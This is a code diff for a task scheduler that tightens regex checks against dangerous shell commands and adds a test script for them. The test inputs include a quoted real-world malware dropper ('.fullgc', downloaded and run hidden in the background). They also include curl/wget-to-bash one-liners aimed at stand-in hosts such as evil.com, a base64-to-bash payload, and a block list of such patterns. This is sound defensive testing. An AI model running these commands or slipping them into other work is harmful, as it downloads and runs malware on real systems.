diff --git a/back/api/config.ts b/back/api/config.ts index 24f35a45..7ed2d8ab 100644 --- a/back/api/config.ts +++ b/back/api/config.ts @@ -64,7 +64,7 @@ export default (app: Router) => { celebrate({ body: Joi.object({ name: Joi.string().required(), - content: Joi.string().allow('').optional().custom((value, helpers) => { + content: Joi.string().allow('').optional().custom((value: any, helpers: any) => { if (!value) return value; // Security validation for configuration file content diff --git a/back/validation/schedule.ts b/back/validation/schedule.ts index 837eb79f..c7df7465 100644 --- a/back/validation/schedule.ts +++ b/back/validation/schedule.ts @@ -7,7 +7,7 @@ import config from '../config'; /** * Security validation function to detect potentially malicious shell code patterns */ -const validateShellSecurity = (value: string, helpers: any, fieldName: string) => { +const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => { if (!value) return value; // Define dangerous patterns that should be blocked @@ -22,20 +22,20 @@ const validateShellSecurity = (value: string, helpers: any, fieldName: string) = // Suspicious domains or external URLs /https?:\/\/[^\s]+/i, - // Hidden files starting with dot (common in malware) - /\s*\.\w+\s*$/, + // Hidden executable files (files starting with . in a path context) + /\/\.\w+(\s|$|;|&|\||>)/, // Background process spawning with suspicious names - /nohup\s+[^\s]*\.\w+/, + /nohup\s+["']?[^\s"']*\/\.\w+/, - // Redirect to dev null (hiding output) + // Redirect to dev null (hiding output) combined with background execution />.*\/dev\/null.*&/, // Base64 decode patterns (often used to obfuscate malicious code) /\b(base64|decode|eval)\s+/i, - // File execution from temp or hidden directories - /\/(tmp|\.)\//, + // File execution from temp directory + /\b\/tmp\/[^\s]+/, ]; for (const pattern of dangerousPatterns) { @@ -83,7 +83,7 @@ export const scheduleSchema = Joi.string() export const commonCronSchema = { name: Joi.string().optional(), - command: Joi.string().required().custom((value, helpers) => { + command: Joi.string().required().custom((value: any, helpers: any) => { return validateShellSecurity(value, helpers, 'command'); }).messages({ 'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截', @@ -92,12 +92,12 @@ export const commonCronSchema = { labels: Joi.array().optional(), sub_id: Joi.number().optional().allow(null), extra_schedules: Joi.array().optional().allow(null), - task_before: Joi.string().optional().allow('').allow(null).custom((value, helpers) => { + task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => { return validateShellSecurity(value, helpers, 'task_before'); }).messages({ 'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截', }), - task_after: Joi.string().optional().allow('').allow(null).custom((value, helpers) => { + task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => { return validateShellSecurity(value, helpers, 'task_after'); }).messages({ 'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截', diff --git a/test-security-validation.js b/test-security-validation.js new file mode 100755 index 00000000..f3bbe5a4 --- /dev/null +++ b/test-security-validation.js @@ -0,0 +1,139 @@ +#!/usr/bin/env node + +/** + * Simple test script to validate security patterns + * This tests the regex patterns used in the security validation + */ + +console.log('Testing Security Validation Patterns\n'); +console.log('=====================================\n'); + +// Define the dangerous patterns (copied from our implementation) +const dangerousPatterns = [ + { name: 'Command substitution $(...)', pattern: /\$\([^)]*\)/ }, + { name: 'Command substitution backticks', pattern: /`[^`]*`/ }, + { name: 'File downloads', pattern: /\b(curl|wget|fetch)\s+/i }, + { name: 'External URLs', pattern: /https?:\/\/[^\s]+/i }, + { name: 'Hidden executable files', pattern: /\/\.\w+(\s|$|;|&|\||>)/ }, + { name: 'Background process with hidden file', pattern: /nohup\s+["']?[^\s"']*\/\.\w+/ }, + { name: 'Redirect to dev null with background', pattern: />.*\/dev\/null.*&/ }, + { name: 'Base64/decode/eval', pattern: /\b(base64|decode|eval)\s+/i }, + { name: 'Temp directory execution', pattern: /\b\/tmp\/[^\s]+/ }, +]; + +// Test cases - malicious patterns that should be blocked +const maliciousInputs = [ + { + name: 'Original .fullgc malware', + input: 'd="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";curl -fsSL -o "$b" "$u"&&chmod +x "$b"&&nohup "$b" >/dev/null 2>&1 &', + }, + { + name: 'Command substitution with curl', + input: 'echo $(curl http://evil.com/malware.sh | bash)', + }, + { + name: 'Backtick command substitution', + input: 'echo `wget -O- http://evil.com/script.sh`', + }, + { + name: 'Download and execute', + input: 'curl http://malicious.com/script.sh | bash', + }, + { + name: 'Download, chmod, and execute', + input: 'wget http://bad.com/malware && chmod +x malware && ./malware', + }, + { + name: 'Hidden file execution', + input: 'nohup /data/db/.malware >/dev/null 2>&1 &', + }, + { + name: 'Base64 encoded payload', + input: 'echo SGVsbG8gV29ybGQ= | base64 -d | bash', + }, +]; + +// Test cases - legitimate patterns that should be allowed +const legitimateInputs = [ + { + name: 'Simple script execution', + input: 'node script.js', + }, + { + name: 'Python script', + input: 'python3 my_script.py', + }, + { + name: 'Shell script with arguments', + input: 'bash update.sh --force', + }, + { + name: 'Environment variable', + input: 'export MY_VAR=value', + }, + { + name: 'Echo statement', + input: 'echo "Task started"', + }, +]; + +function testPattern(input, patterns) { + for (const { name, pattern } of patterns) { + if (pattern.test(input)) { + return { blocked: true, reason: name, pattern: pattern.source }; + } + } + return { blocked: false }; +} + +console.log('Testing Malicious Inputs (should be BLOCKED):'); +console.log('==============================================\n'); + +let maliciousBlocked = 0; +maliciousInputs.forEach(({ name, input }) => { + const result = testPattern(input, dangerousPatterns); + const status = result.blocked ? '✓ BLOCKED' : '✗ ALLOWED'; + const color = result.blocked ? '\x1b[32m' : '\x1b[31m'; + console.log(`${color}${status}\x1b[0m - ${name}`); + if (result.blocked) { + console.log(` Reason: ${result.reason}`); + maliciousBlocked++; + } else { + console.log(` ⚠️ WARNING: This malicious pattern was not blocked!`); + } + console.log(` Input: ${input.substring(0, 100)}${input.length > 100 ? '...' : ''}\n`); +}); + +console.log('\nTesting Legitimate Inputs (should be ALLOWED):'); +console.log('===============================================\n'); + +let legitimateAllowed = 0; +legitimateInputs.forEach(({ name, input }) => { + const result = testPattern(input, dangerousPatterns); + const status = !result.blocked ? '✓ ALLOWED' : '✗ BLOCKED'; + const color = !result.blocked ? '\x1b[32m' : '\x1b[31m'; + console.log(`${color}${status}\x1b[0m - ${name}`); + if (result.blocked) { + console.log(` ⚠️ WARNING: This legitimate pattern was incorrectly blocked!`); + console.log(` Reason: ${result.reason}`); + } else { + legitimateAllowed++; + } + console.log(` Input: ${input}\n`); +}); + +console.log('\nTest Summary:'); +console.log('============='); +console.log(`Malicious patterns blocked: ${maliciousBlocked}/${maliciousInputs.length}`); +console.log(`Legitimate patterns allowed: ${legitimateAllowed}/${legitimateInputs.length}`); + +const success = maliciousBlocked === maliciousInputs.length && + legitimateAllowed === legitimateInputs.length; + +if (success) { + console.log('\n\x1b[32m✓ All tests passed!\x1b[0m'); + process.exit(0); +} else { + console.log('\n\x1b[31m✗ Some tests failed!\x1b[0m'); + process.exit(1); +}